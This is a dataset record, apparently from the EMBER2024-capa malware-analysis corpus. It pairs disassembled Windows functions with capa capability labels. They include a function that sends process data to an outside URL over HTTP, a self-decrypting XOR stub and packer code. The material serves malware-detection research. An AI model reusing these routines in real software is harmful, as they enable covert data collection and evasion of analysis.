joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406410
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, eax
mov eax, dword [esi]
mov ecx, dword [esi + 8]
push eax
push 1
push ecx
push edi
call fcn.0041798e
mov ecx, dword [esi + 8]
add esp, 0x10
cmp eax, 1
mov eax, ecx
sete bl
cdq
idiv dword [esi + 0x18]
mov byte [ebp - 1], bl
mov dword [esi + 0x1c], eax
test bl, bl
je 0x40657b
add dword [esi + 0x14], ecx
cmp dword [esi + 0x50], 8
push 0xffffffffffffffff
push eax
push 0x18
lea eax, [esi + 0x3c]
push ecx
mov ecx, esp
jb 0x406463
mov eax, dword [eax]
mov dword [ecx], eax
push ecx
mov eax, esp
mov dword [eax], str.read
lea eax, [esi + 0x20]
push eax
mov dword [ebp - 0xc], eax
call fcn.00404770
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
add esp, 0x18
xor ebx, ebx
xor eax, eax
cmp ecx, 1
sete byte [ebp - 2]
mov dword [ebp - 8], edx
test edx, edx
je 0x406523
dec dword [ebp - 8]
xor edx, edx
cmp byte [ebp - 2], dl
je 0x4064a7
cmp byte [edi], dl
jmp 0x4064aa
cmp word [edi], dx
sete dl
test edx, edx
je 0x4064d4
test eax, eax
je 0x4064cd
cmp edi, eax
je 0x4064cd
imul ecx, ebx
mov edx, edi
sub edx, eax
push edx
push eax
sub eax, ecx
push eax
call fcn.00416c10
add esp, 0xc
mov ecx, dword [esi + 0x18]
lea eax, [ecx + edi]
inc ebx
add edi, ecx
cmp dword [ebp - 8], 0
jne 0x406499
test eax, eax
je 0x4064f9
cmp edi, eax
je 0x4064f9
mov ecx, dword [esi + 0x18]
imul ecx, ebx
sub edi, eax
push edi
push eax
sub eax, ecx
push eax
call fcn.00416c10
add esp, 0xc
test ebx, ebx
je 0x406523
mov edx, dword [ebp - 0xc]
push 0xffffffffffffffff
push ebx
push 1
push ecx
mov eax, esp
push ecx
mov dword [eax], 0
mov eax, esp
push edx
mov dword [eax], str.nulls_removed
call fcn.00404770
add esp, 0x18
sub dword [esi + 0x1c], ebx
cmp dword [esi + 0x18], 1
jle 0x40656f
test byte [esi + 4], 0x80
je 0x40656f
mov esi, dword [esi + 0x1c]
test esi, esi
je 0x40654b
mov ecx, dword [ebp + 8]
movzx eax, word [ecx + esi*2 - 2]
dec esi
rol ax, 8
mov word [ecx + esi*2], ax
test esi, esi
jne 0x406536
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov eax, esp
mov dword [eax], 0
push ecx
mov eax, esp
mov dword [eax], str.endian_swap
mov eax, dword [ebp - 0xc]
push eax
call fcn.00404770
add esp, 0x18
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
call fcn.00406180
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406af0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x18]
mov ebx, eax
mov eax, dword [esi + 0x1c]
imul ecx, eax
push edi
mov dword [esi + 8], ecx
test ebx, ebx
jne 0x406b09
mov ebx, edx
mov ecx, dword [esi + 4]
xor edi, edi
test cl, cl
jns 0x406b86
test edx, edx
jne 0x406b42
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00416f71
mov edi, eax
mov eax, dword [esi + 0x1c]
add eax, eax
push eax
push ebx
push edi
call fcn.0041e1b0
add esp, 0x10
mov edx, edi
mov ebx, edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x406b62
lea esp, [esp]
movzx ecx, word [edx + eax*2 - 2]
dec eax
rol cx, 8
mov word [edx + eax*2], cx
test eax, eax
jne 0x406b50
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov eax, esp
push ecx
mov dword [eax], 0
mov eax, esp
lea ecx, [esi + 0x20]
push ecx
mov dword [eax], str.endian_swap
call fcn.00404770
add esp, 0x18
mov edx, dword [esi]
mov eax, dword [esi + 8]
push edx
push 1
push eax
push ebx
call fcn.00417b02
add esp, 0x10
cmp eax, 1
sete bl
test edi, edi
je 0x406bab
push edi
call fcn.00416fb6
add esp, 4
test bl, bl
je 0x406be8
mov edx, dword [esi + 0x1c]
mov ecx, dword [esi + 8]
add dword [esi + 0x14], ecx
cmp dword [esi + 0x50], 8
push 0xffffffffffffffff
push edx
push 0x18
lea eax, [esi + 0x3c]
push ecx
mov ecx, esp
jb 0x406bcb
mov eax, dword [eax]
push ecx
mov dword [ecx], eax
mov eax, esp
add esi, 0x20
push esi
mov dword [eax], str.write
call fcn.00404770
add esp, 0x18
mov al, bl
pop edi
pop esi
pop ebx
ret
push esi
call fcn.00406180
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x40e280
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x43b034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.DuiLib_u.dll_public:_wchar_t_const____thiscall_DuiLib::CDuiString::GetData_void_const]
push edi
lea ecx, [esi + 0xb64]
call ebx
push eax
push 0
push str.fistrun
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
lea ecx, [esi + 0xb64]
setne byte [ebp - 0x45]
call ebx
push eax
push 0
push str.opstart
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
setne al
lea ecx, [esi + 0xb64]
mov byte [esi + 0x29e], al
call ebx
push eax
push 0
push str.astro
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp byte [ebp - 0x45], 0
mov dword [esi + 0x290], eax
mov dword [esi + 0x298], eax
jne 0x40e35d
xor ecx, ecx
push 0x3e
push ecx
lea edx, [ebp - 0x42]
push edx
mov word [ebp - 0x44], cx
call fcn.0041e130
push 0xa
push 0x20
lea eax, [ebp - 0x44]
push eax
push 1
call fcn.00418a7b
add esp, 0x1c
lea ecx, [esi + 0xb64]
call ebx
push eax
lea ecx, [ebp - 0x44]
push ecx
push str.fistrun
push 0x433f20
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004167b2
mov esp, ebp
pop ebp
ret
lea ecx, [esi + 0xb64]
call ebx
push eax
push 0
push str.skin
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
lea ecx, [esi + 0xb64]
mov dword [esi + 0x2a0], eax
call ebx
push eax
push 0
push str.astroFor
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
setne dl
lea ecx, [esi + 0xb64]
mov byte [esi + 0x29c], dl
call ebx
push eax
push 0
push str.suspen
push 0x433f20
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
pop edi
xor ecx, ebp
mov byte [esi + 0x29d], al
pop ebx
call fcn.004167b2
mov esp, ebp
pop ebp
ret
Function at 0x4116d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0
push 0
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x411700
xor edi, edi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 1
push 0
push 0
push 0x4351d0
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 8], eax
test eax, eax
jne 0x411720
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x400
call fcn.004167c1
add esp, 4
mov ebx, 0x400
mov dword [edi], 0
mov esi, eax
mov eax, dword [edi]
mov edx, ebx
sub edx, eax
lea ecx, [ebp - 4]
push ecx
dec edx
push edx
add eax, esi
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
mov eax, dword [ebp - 4]
jne 0x411761
test eax, eax
je 0x411775
add dword [edi], eax
add ebx, 0x400
push ebx
push esi
call fcn.00417041
add esp, 8
jmp 0x41173a
mov ecx, dword [edi]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov byte [esi + ecx], 0
mov dword [edx], esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
mov edi, 1
call esi
mov ecx, dword [ebp - 8]
push ecx
call esi
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x411890
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov eax, dword [0x43b034]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x9c
push eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xa0]
push eax
call fcn.0041e130
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x411a8f
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x411935
lea edx, [ebp - 0xc4]
push edx
call eax
jmp 0x411942
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x90], 2
jne 0x411a8f
cmp dword [ebp - 0x9c], 4
jbe 0x411a8f
cmp dword [ebp - 0x98], 0
push ebx
mov ebx, 1
jne 0x411980
push esi
mov eax, str.Windows_Vista
cmp byte [ebp - 6], bl
je 0x41197b
mov eax, str.Windows_Server_2008
call fcn.004128d0
cmp dword [ebp - 0x98], ebx
jne 0x41199d
push esi
mov eax, str.Windows_7
cmp byte [ebp - 6], bl
je 0x411998
mov eax, str.Windows_Server_2008_R2
call fcn.004128d0
cmp dword [ebp - 0x9c], 5
jne 0x411a3d
cmp dword [ebp - 0x98], 2
jne 0x411a0d
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x4119c6
mov eax, str.Windows_Server_2003_R2
jmp 0x4119fe
mov eax, dword [ebp - 8]
test eax, 0x2000
je 0x4119d7
mov eax, str.Windows_Storage_Server_2003
jmp 0x4119fe
test eax, 0x8000
je 0x4119e5
mov eax, str.Windows_Home_Server
jmp 0x4119fe
cmp byte [ebp - 6], bl
jne 0x4119f9
cmp word [ebp - 0xc4], 9
mov eax, str.Windows_XP_Professional_x64_Edition
je 0x4119fe
mov eax, str.Windows_Server_2003_
push esi
call fcn.004128d0
cmp dword [ebp - 0x9c], 5
jne 0x411a3d
cmp dword [ebp - 0x98], ebx
jne 0x411a29
push esi
mov eax, str.Windows_XP
call fcn.004128d0
cmp dword [ebp - 0x9c], 5
jne 0x411a3d
cmp dword [ebp - 0x98], 0
jne 0x411a7e
push esi
mov eax, str.Windows_2000
call fcn.004128d0
cmp dword [ebp - 0x9c], 6
jb 0x411a7e
mov eax, dword [ebp - 0xc4]
cmp ax, 9
jne 0x411a6e
mov eax, str.64_bit
push esi
call fcn.00412900
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004167b2
mov esp, ebp
pop ebp
ret
test ax, ax
jne 0x411a7e
mov eax, str.32_bit
push esi
call fcn.00412900
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004167b2
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004167b2
mov esp, ebp
pop ebp
ret
Function at 0x412720
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b640
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x43b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov eax, 0xf
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 1
call fcn.004123b0
add esp, 4
lea edi, [ebx + 0x26]
mov eax, str.http:__inapi.9vh.net_index.php_encode
lea esi, [ebp - 0x2c]
call fcn.00413000
push ebx
lea ecx, [ebp - 0x48]
push ecx
or eax, 0xffffffff
mov edi, esi
call fcn.00412ce0
push 9
mov eax, str.process
mov ecx, esi
call fcn.00412d80
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
jne 0x4127ea
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x4127cb
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00416863
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x41287d
mov eax, dword [ebp - 0x48]
push eax
jmp 0x412875
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4127f6
lea eax, [ebp - 0x2c]
push ebx
push 1
push ebx
push ebx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
cmp edi, ebx
jne 0x41283e
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x412826
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00416863
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x41287d
mov edx, dword [ebp - 0x48]
push edx
jmp 0x412875
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x41285f
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00416863
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x41287d
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00416863
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004167b2
mov esp, ebp
pop ebp
ret
Function at 0x414300
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 8], eax
test eax, eax
jne 0x414332
xor edi, edi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
push 0
push 1
push 0
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp + 8], eax
test eax, eax
jne 0x414353
pop edi
mov esp, ebp
pop ebp
ret 8
push ebx
push esi
push 0x400
call fcn.004167c1
add esp, 4
mov ebx, 0x400
mov dword [edi], 0
mov esi, eax
mov eax, dword [edi]
mov ecx, ebx
sub ecx, eax
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
dec ecx
push ecx
add eax, esi
push eax
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
mov eax, dword [ebp - 4]
jne 0x414394
test eax, eax
je 0x4143a8
add dword [edi], eax
add ebx, 0x400
push ebx
push esi
call fcn.00417041
add esp, 8
jmp 0x41436d
mov eax, dword [edi]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov byte [esi + eax], 0
mov dword [ecx], esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
mov edi, 1
call esi
mov eax, dword [ebp + 8]
push eax
call esi
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 8

Function at 0x414a40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42abb3
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43b034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
xor edi, edi
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], edi
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 0x400
mov byte [ebp - 4], 1
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
cmp dword [esi + 0x18], edi
jne 0x414ad1
push 0x14
call fcn.004170ee
add esp, 4
cmp eax, edi
je 0x414ac9
mov dword [eax], edi
mov dword [eax + 4], 0x10000
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], edi
jmp 0x414acb
xor eax, eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4167b2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43b034]
jne 0x4167bc
repz ret
jmp fcn.00419d77
Function at 0x423d3c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43b034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041ae73
and dword [ebp - 0x14], 0
cmp dword [0x43dab0], 0
mov dword [ebp - 0x18], eax
jne 0x423def
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x423e97
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x423e97
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43dab0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43dab4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43dab8], eax
call edi
push eax
call esi
mov dword [0x43dac0], eax
test eax, eax
je 0x423def
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43dabc], eax
mov eax, dword [0x43dabc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x423e48
cmp dword [0x43dac0], ecx
je 0x423e48
push eax
call esi
push dword [0x43dac0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x423e48
test ebx, ebx
je 0x423e48
call edi
test eax, eax
je 0x423e3f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x423e3f
test byte [ebp - 8], 1
jne 0x423e48
or dword [ebp + 0x10], 0x200000
jmp 0x423e7b
mov eax, dword [0x43dab4]
cmp eax, dword [ebp - 0x18]
je 0x423e7b
push eax
call esi
test eax, eax
je 0x423e7b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x423e7b
mov eax, dword [0x43dab8]
cmp eax, dword [ebp - 0x18]
je 0x423e7b
push eax
call esi
test eax, eax
je 0x423e7b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43dab0]
call esi
test eax, eax
je 0x423e97
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x423e99
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004167b2
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401fd9
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [edi + 0x90], 7
mov word [edi + 0x88], ax
mov ax, word [esi + 0x5c]
mov word [edi + 0x8a], ax
je 0x401fb7
lea eax, [ebp - 0x24]
push eax
push dword [edi]
call dword [0x48f634]
or ebx, 0xffffffff
cmp dword [esi + 0x58], ebx
je 0x401fbf
cmp dword [esi + 0x5c], ebx
je 0x401fcc
lea eax, [ebp - 0x24]
push eax
push dword [edi]
call dword [0x48f694]
cmp dword [esi + 0x60], ebx
je 0x43bd2d
cmp dword [esi + 0x64], ebx
je 0x43bd3f
cmp byte [edi + 0x90], 0
jne 0x401f2d
jmp 0x43bd3f
cmp byte [ebp + 0x10], 0
je 0x401f6e
jmp 0x401f58
mov ax, word [ebp - 0x24]
mov word [edi + 0x88], ax
jmp 0x401f82
mov ax, word [ebp - 0x20]
mov word [edi + 0x8a], ax
jmp 0x401f87
push ebp
mov ebp, esp
mov eax, dword [0x4c67b4]
mov ecx, dword [ebp + 0x18]
cmp eax, 1
jne 0x43beae
mov eax, dword [ebp + 8]
cmp eax, 0xffffffff
je 0x401ff8
mov dword [ecx + 0x58], eax
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
je 0x402003
mov dword [ecx + 0x5c], eax
mov eax, dword [ebp + 0x10]
test eax, eax
jle 0x40200d
mov dword [ecx + 0x60], eax
mov eax, dword [ebp + 0x14]
test eax, eax
jle 0x402017
mov dword [ecx + 0x64], eax
pop ebp
ret 0x14
pushal
cld
call dword [ebx + 0x56]
call dword [0xff48f71c]
jmp fcn.00401db3
in al, 0x2b
inc ebp
fsub qword [esi - 0x77]
xchg dword [ebp + eax*2 + 0x5de90014], ecx
invalid
add si, word [ebp - 0x10]
mov word [ebx - 0x17f38976], si
jmp 0x401f3d
Function at 0x4021a5
Capabilities:
Packed with generic packer

Disassembly:
test dword [eax], 0x67d42583
dec esp
add byte [eax], al
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [0x4c6810]
push ebx
push esi
push edi
mov eax, dword [eax + ecx*4]
mov ecx, 0x4c67b0
push dword [ebp + 0x10]
mov ebx, dword [eax]
mov dword [ebp - 4], ebx
call fcn.004025db
push 0xf
mov esi, eax
mov byte [ebp + 0xb], 0
call dword [0x48f528]
cmp dword [ebx + 0x4c], 0xffffffff
mov edi, eax
je 0x4021e4
mov edi, dword [ebx + 0x4c]
cmp esi, 0xffffffff
je 0x43c155
mov eax, dword [0x4c6824]
mov eax, dword [eax + esi*4]
mov ebx, dword [eax]
mov ecx, dword [ebx + 0x48]
test ecx, ecx
jns 0x402267
movzx eax, byte [ebx + 0x90]
cmp eax, 0x1b
ja case.0x402211.4
movzx eax, byte [eax + 0x4022a5]
jmp dword [eax*4 + 0x402289]
mov byte [ebp + 0xb], 1
cmp byte [ebx + 0x93], 0xff
jne 0x43c091
cmp dword [ebx + 0x4c], 0xffffffff
jne 0x402284
push dword [ebp + 0x55]
push 8
call dword [0x48f528]
push eax
push dword [ebp + 0xc]
jne 0x402247
call dword [0x48f120]
cmp byte [ebp + 0xb], 0
je 0x43c155
or bl, byte [edi + 0x16a0003]
push 1
push dword [ebp + 0xc]
call dword [0x48f138]
push 5
call dword [0x48f114]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp byte [ebx + 0x90], 0x1b
je 0x4021fe
mov edi, ecx
jmp case.0x402211.8
push 5
jmp 0x43c06d
cmp ecx, 0xfffffffe
sete byte [ebp + 0xb]
jmp case.0x402211.8
push dword [ebx + 0x4c]
jmp 0x402238
mov eax, dword [edi + esi*4]
cmp dword [eax], 0
jne 0x43bff6
inc esi
cmp esi, ecx
jl 0x43bfe9
mov dword [0x4c681c], esi
jmp 0x402171
inc dword [ebx + 0x4c62b03d]
add bh, bh
jne 0x402284
invalid
jmp [edx + 0xf]
push 0xf
call dword [0x48f528]
mov edi, eax
jmp 0x40222c
test byte [eax], 0xa9
inc ebp
or byte [eax], al
or byte [edi], cl
test ch, ah
popal
cld
invalid
dec dword [edi]
test ebp, ebx
pushal
cld
inc esi
inc ebp
or eax, dword [ecx]
jmp 0x402239

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x505082
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x5050ce
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x5050c8
mov ecx, dword [0x5457f8]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x5050bc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x5050a1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x5050ca
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x506c53
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xf8
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x506cbf
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx + 0x18]
jae 0x506d08
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.00520100
add esp, 8
test eax, eax
jne 0x506d06
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dx, word [ecx + eax*2]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x506d0a
jmp 0x506cb6
xor eax, eax
mov esp, ebp
pop ebp
ret